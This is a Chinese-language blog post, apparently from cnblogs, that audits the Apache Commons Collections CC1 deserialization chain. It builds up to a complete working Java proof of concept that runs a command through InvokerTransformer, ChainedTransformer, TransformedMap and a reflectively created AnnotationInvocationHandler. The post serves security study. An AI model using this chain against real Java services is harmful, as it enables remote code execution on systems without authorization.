首页 > 编程语言 >Java反序列化 - CC1链 (代码审计)

Java反序列化 - CC1链 (代码审计)

时间:2024-10-22 09:00:56浏览次数:1  
标签:InvokerTransformer Runtime Java Object CC1 class new 序列化 Class

R### 一、环境准备:

Java环境:Java_1.8.0_8u65
Apache Commons Collections 3.2.2版本

二、漏洞简述:

cc链是Apache commons collections反序列漏洞利用链的简称。可以通过构造恶意类,利用Java反序列化漏洞进行RCE。

漏洞复现:

CC1链源头:org.apache.commons.collections.Transformer#transform 中的 Transformer接口。
image

1、触发RCE的利用点:

(1) 查看哪些类实现了 Transformer接口,跟进 InvokerTransformer类:
image

InvokerTransformer类中实现并重写了 transform()方法:
image

其中 iMethodName,iParamTypes,iArgs三个参数可以通过 类InvokerTransformer公有构造函数来进行控制:
image

由此可以构造出一条RCE的链子:

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokeTransformerRCE {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(r);
    }
}

// Class cls = input.getClass()  --> Runtime.getRuntime().getClass() --> cls表示Runtime类的一个对象

//获取Runtime类中的exec方法
// Method method = cls.getMethod(this.iMethodName, this.iParamTypes) --> cls.getMethod("exec", new Class[]{String.class})

//进行命令执行
//exec.invoke(Runtime.getRuntime(), "calc") --> Runtime.getRuntime().exec("calc");

image

2、利用链:

(一) 跟进 transform()方法,查看其在哪些地方被调用,其中 transformedMap类中的checkValue()方法调用了transform():
image

分析 checkValue()方法,可以看到结果返回 valueTransformer的transform方法,向上查找 valueTransformer是否可控。通过查找得知 valueTransformer 在 TransformedMap方法中被赋值:
image

但是 TransformedMap方法的属性为 protected,这导致该方法只有内部类可以进行访问调用,继续向上查找,可以看到在decorate()方法中调用了该方法,并且属性为public,valueTransformer值可控:
image

由此形成了一条利用链:

decorate(map, null, invokeTransformer)方法 --> TransformedMap()方法 --> valueTransformer = invokeTransformer -> checkSetValue()方法 --> invokeTransformer.transform(value)

(二) 但是 checkSetValue(Object Value)方法的属性为 protected,这也代表着 checkSetValue只能被内部类访问调用,这就需要查找 checkSetValue()方法在哪些地方被调用:
image

image

IDEA提示 字类TransformedMap 中的 checkSetValue()方法实现了 父类AbstractInputCheckedMapDecorator 中的方法,跟进,发现 TransformedMap 中的 checkSetValue()方法 实现了父类中的 checkSetValue()抽象方法:
image

并且 父类AbstractInputCheckedMapDecorator中的 副类MapEntry中的 公有属性的setValue()方法调用了checkSetValue()方法:
image

副类MapEntry中的 setValue()方法重写了 AbstractMapEntryDecorator中的 checkSetValue()方法:
image

image

类AbstractMapEntryDecorator中的 setValue方法实现了 接口Map.Entry中的 setValue方法:
image

image

image

由此形成了一条利用链:

进行Map键值对遍历 --> 调用 setValue()方法 --> 由 setValue()方法来调用checkValue()方法

image

由此可以进行命令执行:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMapRCE {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        
        //赋值-->valueTransformer = invokerTransformer
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        //遍历Map常用格式
        for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
            entry.setValue(r);
        }
    }
}

image

(三) 由上述分析已经得知遍历Map->entry.setValue()会造成RCE,则查找哪些地方调用了 setValue()方法,并控制参数值即可,跟进 AnnotationInvocationHandle类:
image

来到漏洞产生的位置,AnnotationInvocationHandler类中重写了 readObject()方法,并且进行了Map遍历并使用了 memberValue.setValue()方法,那么只需要 memberValues可控即可:
image

跟进 memberValues,可知 memberValues在类AnnotationInvocationHandler的构造函数中被赋值,但是AnnotationInvocationHandler的构造方法没有声明public等属性,所以该构造方法的属性为default,只能在本包(sun.reflect.annotation)中被调用,所以利用Java反射机制来调用该构造方法并进行赋值:
image

利用Java反射机制调用其构造方法:

//获取AnnotationInvocationHandler类
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

//获取AnnotationInvocationHandler类的构造方法
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);

//提升权限
        annotationInvocationHandlerConstructor.setAccessible(true);

//实例化对象,并给 memberValues赋值,使其可控
        Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

并且类AnnotationInvocationHandler 实现了Serializable接口,可以直接进行序列化与反序列化,所以可以先序列化其实例对象,然后进行反序列化,通过利用类AnnotationInvocationHandler重写的 readObject()方法实现RCE。

故初步完整的利用链POC代码如下所示:

public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object,Object> map=new HashMap<>();
    map.put("key","value"); //给map一个键值对,方便遍历

    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


    // 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");


    // 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    // 相当于提升自己权限,以便可以访问非公共构造函数
    constructor.setAccessible(true);

    //这里第一个是参数是注解的类原型,第二个就是我们之前的类
    // 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
    // 传递Override.class和decorate两个参数给构造函数
    Object o = constructor.newInstance(Override.class, transformedMap);
    serialize(o);  //序列化
    unserialize("CC1.txt"); //反序列化

}

//定义序列化方法
public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
   oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
   ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
   objectInputStream.readObject();
}

(四) 但是这段POC并不是完整的正确的POC,因为有三个利用条件上述POC并未满足:

(1) Runtime类并未实现Serializable接口,不可以被序列化:
image

但是Runtime的原型类实现了 Serializable接口,可以利用Java反射来调用 Runtime:

//获取 getRuntime()方法
//其中 Runtime.class -> java.lang.Runtime,Runtime.class.getClass() -> java.lang.Class
//最终调用为 java.lang.Class.getMethod("getDeclaredMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, "getRuntime") --> Runtime.class.getDeclaredMethod("getRuntime", null) --> Runtime.getRuntime()
Method getRuntime = (Method) new InvokerTransformer("getDeclared", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

//获取 Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer(
                "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

//执行命令RCE
new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}).transform(runtime);

image

但是上述写法略显冗余,可以通过调用 ChainedTransformer类中方法来实现简化。ChainedTransformer类实现了Transformer, Serializable两接口,符合条件:
image

类中构造函数 ChainedTransformer(Transformer[] transformers)接受一个数组作为参数,然后重写 transform()方法对数组使用 for循环来实现逻辑:
image

利用 ChainedTransformer类来简化 Java反射Runtime的代码:

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer(
                        "getDeclaredMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer(
                        "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 
        chainedTransformer.transform(runtimeClass);

image

(2) 符合类AnnotationInvocationHandler重写的 readObject()方法中执行memberValue.setValue()前的两个if条件语句:
image

在 readObject()方法处下断点,发现未通过第一个 if条件的限制,原因为 memberType为空:
image

annotationType = AnnotationType.getInstance(type); 中的 type由构造函数传值,值为 Override.class:
image

annotationType = AnnotationType.getInstance(type); 获取 Override注解的实例 -->
Map<String, Class> memberTypes = annotationType.memberTypes();用于获取注解的所有成员及其类型的映射 --> Class memberType = memberTypes.get(name); 用于查看名为 name 的成员在在 memberTypes中是否存在

跟进 Override注解,可以看到注解中的成员为空,所以导致了 memberType 恒为 null,从而导致无法通过第一个 if 条件的校验:
image

所以不能使用成员为空的 Override注解,换用 Target注解:
image

修改如下:
image

更换后重新进行调试,此时已经可以通过两个 if 条件的校验。

(3) 虽然解决了 (1) 和 (2) 两个问题,但是依然存在关键的一步问题,就是 setValue()方法中的参数此时不是理想值,因为 readObject()方法中提前写好了 setValue()的参数值,此值用户不可控。

可以通过利用 ConstantTransformer中的构造方法与 transform方法来解决:
image

image

最终 CC1链的完整POC如下:

public static void main(String[] args) throws Exception {
        Class<?> runtime = Class.forName("java.lang.Runtime");
        //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(object);
        unserialize("CC1.txt");
    }

    //定义序列化方法
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

成功RCE:
image

标签:InvokerTransformer,Runtime,Java,Object,CC1,class,new,序列化,Class
From: https://www.cnblogs.com/kgty/p/18487179

相关文章

  • JAVA注解:注解的作用,注解的语法,注解的使用,注解与反射的综合应用
    1什么是注解jdk5提供了一个新的应用Annotation,注解,注释与之前所学的注释的区别之前的注释:是给程序员看,让程序员知道程序(代码)有什么用,实现了什么功能今天的注解:是给编辑器或jvm看的。在编译和运行时提供一些信息,按照信息完成后续的工作我们在开发中经常使用注解作......
  • JAVA中的JDBC学习总结 我的学习笔记
    JDBC学习总结我的学习笔记一、JDBC简介一、JDBC快速入门一、JDBCAPI详解1.DriverManager2.Connection3.Statement4.ResultSet5.PreparedStatement一、数据库连接池1.数据库连接池简介2.数据库连接池实现3.Druid数据库连接池一、JDBC简介1.JDBC概念JDBC就......
  • 初识Java GUI 编程
    文章目录前言一、什么是GUI编程?二、JavaGUI编程的基础组件1.JFrame2.JButton3.JLabel提示三、布局管理器结语前言在当今的软件开发领域,图形用户界面(GUI)的重要性不言而喻。它为用户提供了直观、友好的交互方式,使得软件更加易于使用和操作。在Java中,我们可以......
  • Java数据结构---顺序表
    目录一、线性表二、顺序表2.1、顺序表的定义 2.2、顺序表的接口实现三、ArrayList3.1、 ArrayList简介3.2、ArrayList的实现 3.3、ArrayList实现的完整代码一、线性表线性表(linearlist)是n个具有相同特性的数据元素的有限序列。线性表是一种在实际中广泛使用......
  • 【Javaee】网络编程-TCP Socket
    前言前文中我们介绍了UDPSocket相关的构造方法和方法,并实现了UDP的回显服务器和客户端。本篇将介绍TCPSocket,并使用TCPSocketapi实现服务器和客户端的通信一.TCPSocket的常见方法1.ServerSocketServerSocket是创建TCP服务端Socket的API1)ServerSocket构造方法方......
  • Java中super关键词的用法和注意事项
    在Java中,super关键字用于引用当前对象的父类。它主要有以下几种用途:1.访问父类的属性和方法:当子类中定义了与父类同名的属性或方法时,可以使用super关键字来明确指出要访问的是父类中的属性或方法。2.调用父类的构造器:在子类的构造方法中,可以使用super()来显式调用父类的构造器,以......
  • Java
    JavaHelloworld!psvm解释语句,main方法,main(参数),以上无参数,sout输出注:注意大小写文件名和类名需要保持一致命名规则,首字母小写驼峰式命名标识符能字母,$,_,开头不能以关键字作为变量名或方法名注意大小写(大写的跟小写的不是同一个变量)不能以特殊符号,数字来命名下划......
  • 【Coroutines】Implement JavaScript Promise by Kotlin Coroutine
    Expecteduseasynctolaunchaasynctaskuseawaittowaitresultfromotherworkasync{valuser=await<String>{loadUserInfo()}println(user)println("asyncreturned")}println("asyncnotreturn")Implementat......
  • dfs题目:平衡二叉树(java)
    平衡二叉树题目思路开始的error代码(最后一行return的地方有误)修正的代码题目链接:平衡二叉树题目题目思路用分治的思想,要想看看以root为根节点的二叉树是不是平衡二叉树,得看他的左子树和右子树是不是平衡二叉树,如果左子树和右子树都是平衡的,且root自己是平衡的......
  • 基于Java+Jsp+Ssm+Mysql实现的在线乡村风景美食景点旅游平台功能设计与实现十五
    一、前言介绍:1.1项目摘要乡村风景美食旅游平台的课题背景主要基于我国旅游产业的现状与发展需求。当前,我国旅游产业虽然发展迅速,但仍然存在基础薄弱、管理手段滞后、信息化程度低等问题。旅游行政管理部门的管理方式相对落后,缺乏有效的信息化管理手段,信息沟通渠道不畅,这......